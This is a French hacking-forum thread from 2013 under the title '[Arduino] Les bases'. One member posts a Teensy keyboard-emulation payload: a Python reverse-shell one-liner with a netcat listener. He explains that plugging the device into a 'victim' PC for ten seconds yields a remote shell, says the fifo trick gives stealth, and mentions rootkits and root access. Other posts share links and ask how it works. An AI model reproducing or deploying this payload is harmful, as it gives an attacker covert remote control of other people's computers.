[Arduino] Les bases
|
04-06-2013, 12h28
Message : #16
|
|
Zen Non-enregistré |
RE: [Arduino] Les bases
Salut j'ajoute a ton poste ce pdf super interressant croyez-moi
edit:https://www.dropbox.com/s/b3437b5hnjq6oq...mation.pdf |
|
04-06-2013, 12h33
Message : #17
|
|
Machin
Membre actif Messages : 60 Sujets : 1 Points: 16 Inscription : Apr 2013 |
RE: [Arduino] Les bases
(04-06-2013, 12h28)Zen a écrit : Salut j'ajoute a ton poste ce pdf super interressant croyez-moi Erreur 403, on ne peut pas le recup |
|
08-07-2013, 11h15
(Modification du message : 08-07-2013, 11h16 par titi951.)
Message : #18
|
|
titi951
Newbie Messages : 10 Sujets : 1 Points: 0 Inscription : Aug 2012 |
RE: [Arduino] Les bases
Ce PDF est issu d'un tutoriel du site du zéro, Zen, il me semble.
Si c'est le cas, vous pouvez le consulter sur ce site. Sinon, je fait de la prog' Arduino depuis 1 mois, et je suis plutôt content des possibilités. Même sans Shields. PS : Désolé du UP. |
|
29-10-2013, 15h36
(Modification du message : 29-10-2013, 17h46 par JL_N_.)
Message : #19
|
|
JL_N_
Newbie Messages : 12 Sujets : 2 Points: 0 Inscription : Aug 2013 |
RE: [Arduino] Les bases
Je partage un code pour arduino.
J'ai programmé ceci sur un teensy 3.0 mais il est également fonctionnel pour un teensy 2.0 2.0++. Ce code est un reverse shell (en python, mais vous pouvez l'adapter à vos besoins) http://pentestmonkey.net/cheat-sheet/she...heat-sheet. Pour le tester : Citation :nc -l 11000 -vvv Changer l'ip (127.0.0.1) Compiler Uploader Puis insérer le teensy dans la machine. Un shell apparait sur la machine qui était en écoute. Code : #define ATTACK_PAYLOAD "/bin/sh -c \"rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"127.0.0.1\\\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\"]);' <fifo|bash > fifo & \"" Enjoy |
|
29-10-2013, 16h09
(Modification du message : 29-10-2013, 16h09 par Kiwazaru.)
Message : #20
|
|
Kiwazaru
Padawan d'un super escargot Messages : 284 Sujets : 26 Points: 139 Inscription : Mar 2012 |
RE: [Arduino] Les bases
JL_N_: Je comprends pas bien le but de ton code, tu pourrais expliquer un peu plus ?
Toucher au Kernel, c'est un peut comme se shooter au LSD, on pense pouvoir tout faire mais ça finit souvent mal.
|
|
29-10-2013, 17h27
(Modification du message : 29-10-2013, 17h38 par JL_N_.)
Message : #21
|
|
JL_N_
Newbie Messages : 12 Sujets : 2 Points: 0 Inscription : Aug 2013 |
RE: [Arduino] Les bases
@Reverse: Le teensy permet d'envoyer des commandes automatiquement comme si un utilisateur tapait sur son clavier. De ce fait lorsque je branche le teensy sur le pc de la victime une série de commande est envoyée automatiquement ( pratique quand tu as 10 sec seulement ).
Je t'invite a réalise cette manipulation sous linux , c'est ce qui est réalisé par le petit bout de code ci-dessus: - Lance dans un terminal nc -l 11000 -vvv - tape ALT + F2 - Entre ceci /bin/sh -c "rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\"]);' <fifo|bash > fifo & " - Revient dans le premier terminal et tape ls ~ (tu as un shell sur la victime, ici toi même, mais ça marche en réseau ) Libre à toi de faire ce que tu veux ensuite, le top est si il a branché le teensy et qu'il était logger en tant que root A noter: que le payload est en python parce que mon collègue avait pas netcat -_- Le "fifo" est pour la furtivité (lancement d'un process en tâche de fond). On peut imaginer pleins de techniques ici (rootkit ...) |
|
29-10-2013, 17h40
Message : #22
|
|
Creepy_p0ney
chef des poneys voodoo Messages : 146 Sujets : 9 Points: 24 Inscription : Dec 2011 |
RE: [Arduino] Les bases
Il y avait un article similaire sur korben ya pas longtemps, une clé USB en forme de canard qui se fait passer pour un clavier http://n-pn.fr/forum/showthread.php?tid=3362
Penser que coder est coder explique-t-il la recursion ?
http://p0neyland.wordpress.com/ |
|
29-10-2013, 18h30
Message : #23
|
|
JL_N_
Newbie Messages : 12 Sujets : 2 Points: 0 Inscription : Aug 2013 |
RE: [Arduino] Les bases
@Creepy_p0ney : Oui, c'est exactement sa
Pour information ça coute 29$ avec frais de port. Et ca se prend en main en 3h00 - 4h00. http://www.pjrc.com/teensy/ |
|
29-10-2013, 19h56
Message : #24
|
|
Kiwazaru
Padawan d'un super escargot Messages : 284 Sujets : 26 Points: 139 Inscription : Mar 2012 |
RE: [Arduino] Les bases
Donc si je pige bien, tu fou ça sur un PC et ensuite tu peux y avoir accès via un autre pc sur le réseau c'est ça?
Toucher au Kernel, c'est un peut comme se shooter au LSD, on pense pouvoir tout faire mais ça finit souvent mal.
|
|
29-10-2013, 20h35
(Modification du message : 30-10-2013, 18h42 par Loup.)
Message : #25
|
|
Loup
Membre actif Messages : 85 Sujets : 8 Points: 8 Inscription : Sep 2013 |
RE: [Arduino] Les bases
(29-10-2013, 19h56)ReVeRse a écrit : Donc si je pige bien, tu fou ça sur un PC et ensuite tu peux y avoir accès via un autre pc sur le réseau c'est ça?Oui c'est le principe d'un reverse shell: http://www.asafety.fr/vuln-exploit-poc/p...ne/#Python Après tu n'es pas obligé d'être sur le réseau local mais ça devient tout de suite plus difficile (edit: ou pas) |
|
« Sujet précédent | Sujet suivant »
|
Sujets apparemment similaires… | |||||
Sujet | Auteur | Réponses | Affichages | Dernier message | |
Domotique en Arduino/Raspberry | badTasTe | 16 | 831 |
10-01-2014, 01h19 Dernier message: badTasTe |
|
ARDUINO/Raspberry : les inventions | notfound | 3 | 272 |
26-03-2013, 22h13 Dernier message: -Mat- |
|
Arduino : buzzer et photorésistances! | Dobry | 1 | 143 |
12-03-2013, 17h14 Dernier message: Swissky |
|
Arduino : Faites briller des LEDs | Dobry | 3 | 285 |
14-12-2012, 17h39 Dernier message: Dobry |
|
Arduino : cartes électroniques Open Source | artis | 5 | 310 |
24-08-2011, 03h13 Dernier message: datareaver |
Utilisateur(s) parcourant ce sujet : 2 visiteur(s)